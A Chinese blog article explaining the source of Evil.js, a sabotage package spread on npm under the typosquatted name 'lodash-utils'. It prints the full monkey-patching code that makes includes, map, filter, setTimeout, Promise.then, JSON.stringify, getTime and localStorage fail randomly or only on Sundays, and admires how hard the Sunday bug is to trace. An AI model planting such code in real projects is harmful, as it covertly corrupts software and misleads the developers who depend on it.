Evil.js項目源碼解讀
引言
2022年8月18日,一個名叫Evil.js的項目突然走紅,README介紹如下:
什么?黑心996公司要讓你提桶跑路了?
想在離開前給你們的項目留點小 禮物 ?
偷偷地把本項目引入你們的項目吧,你們的項目會有但不僅限于如下的神奇效果:
- 當數(shù)組長度可以被7整除時,
Array.includes永遠返回false。 - 當周日時,
Array.map方法的結果總是會丟失最后一個元素。 Array.filter的結果有2%的概率丟失最后一個元素。setTimeout總是會比預期時間慢1秒才觸發(fā)。Promise.then在周日時有10%不會注冊。JSON.stringify會把I(大寫字母I)變成l(小寫字母L)。Date.getTime()的結果總是會慢一個小時。localStorage.getItem有5%幾率返回空字符串。

并且作者發(fā)布了這個包到npm上,名叫lodash-utils,一眼看上去,是個非常正常的npm包,跟utils-lodash這個正經(jīng)的包的名稱非常相似。
如果有人誤裝了lodash-utils這個包并引入,代碼表現(xiàn)可能就一團亂麻了,還找不到原因。真是給黑心996公司的小“禮物”了。
現(xiàn)在,這個Github倉庫已經(jīng)被刪除了(不過還是可以搜到一些人fork的代碼),npm包也已經(jīng)把它標記為存在安全問題,將代碼從npm上移除了??梢妌pm官方還是很靠譜的,及時下線有風險的代碼。

源碼解析
作者是如何做到的呢?我們可以學習一下,但是只單純學技術,不要作惡噢。要做更多有趣的事情。
立即執(zhí)行函數(shù)
代碼整體是一個立即執(zhí)行函數(shù),
(global => {
})((0, eval('this')));
該函數(shù)的參數(shù)是(0, eval('this')),返回值其實就是window,會賦值給函數(shù)的參數(shù)global。
為什么要用立即執(zhí)行函數(shù)?
這樣的話,內(nèi)部定義的變量不會向外暴露。
如果你直接在函數(shù)外面聲明變量,例如:const a = 123;那么你很可能就定義了全局變量,用window.a就獲取到它的值了,這不是個好習慣。
所以使用立即執(zhí)行函數(shù),可以方便的定義局部變量。
includes方法
數(shù)組長度可以被7整除時,本方法永遠返回false。
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
includes是一個非常常用的方法,判斷數(shù)組中是否包括某一項。而且兼容性還不錯,除了IE基本都支持。
作者具體方案是先保存引用給_includes。重寫includes方法時,有時候調用_includes,有時候不調用_includes。
注意,這里_includes是一個閉包變量。所以它會常駐內(nèi)存(在堆中),但是開發(fā)者沒有辦法去直接引用。
map方法
當周日時,Array.map方法的結果總是會丟失最后一個元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
如何判斷周日?new Date().getDay() === 0即可。
這里作者還做了兼容性處理,兼容了數(shù)組長度為0的情況,通過Math.max(result.length - 1, 0),邊界情況也處理的很好。
filter方法
Array.filter的結果有2%的概率丟失最后一個元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
跟includes一樣,不多介紹了。
setTimeout
setTimeout總是會比預期時間慢1秒才觸發(fā)。
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
這個其實不太好,太容易發(fā)現(xiàn)了,不建議用。
Promise.then
Promise.then 在周日時有10%幾率不會注冊。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
牛逼,周日的時候才出現(xiàn)的Bug,但是周日正好不上班。如果有用戶周日反饋了Bug,開發(fā)者周一上班后還無法復現(xiàn),會以為是用戶環(huán)境問題。
JSON.stringify
JSON.stringify 會把'I'變成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
字符串的replace方法,非常常用,但是很多開發(fā)者會誤用,以為'1234321'.replace('2', 't')就會把所有的'2'替換為't',其實這只會替換第一個出現(xiàn)的'2'。正確方案就是像作者一樣,第一個參數(shù)使用正則,并在后面加個g表示全局替換。
Date.getTime
Date.getTime() 的結果總是會慢一個小時。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
localStorage.getItem
localStorage.getItem 有5%幾率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
用途
作者很聰明,有多種方式去改寫原生行為。
但是除了作惡,我們還可以做更多有價值的事情,比如:
- 修改原生fetch,每次請求失敗時,可以自動做一次上報失敗原因給監(jiān)控后臺。
- 修改原生fetch,統(tǒng)計所有請求平均耗時。
- 修改原生localStorage,每次set、get、remove時,默認加一個固定的key在前方。因為localStorage是按域名維度存儲的,如果你沒有引入微前端方案做好localStorage隔離,就需要自己開發(fā)這種工具,做好本地存儲隔離。
- 如果你是做前端基建工作的,不希望開發(fā)者使用某些原生的API,也可以直接攔截掉,并在開發(fā)環(huán)境下提示警告,提示開發(fā)者不允許用該API的原因和替代方案。
以上就是Evil.js項目源碼解讀的詳細內(nèi)容,更多關于Evil.js源碼解讀的資料請關注腳本之家其它相關文章!
相關文章
Servlet3.0與純javascript通過Ajax交互的實例詳解
Servlet與純javascript通過Ajax交互,對于很多人來說應該很簡單。不過還是寫寫,方便Ajax學習的后來者2018-03-03

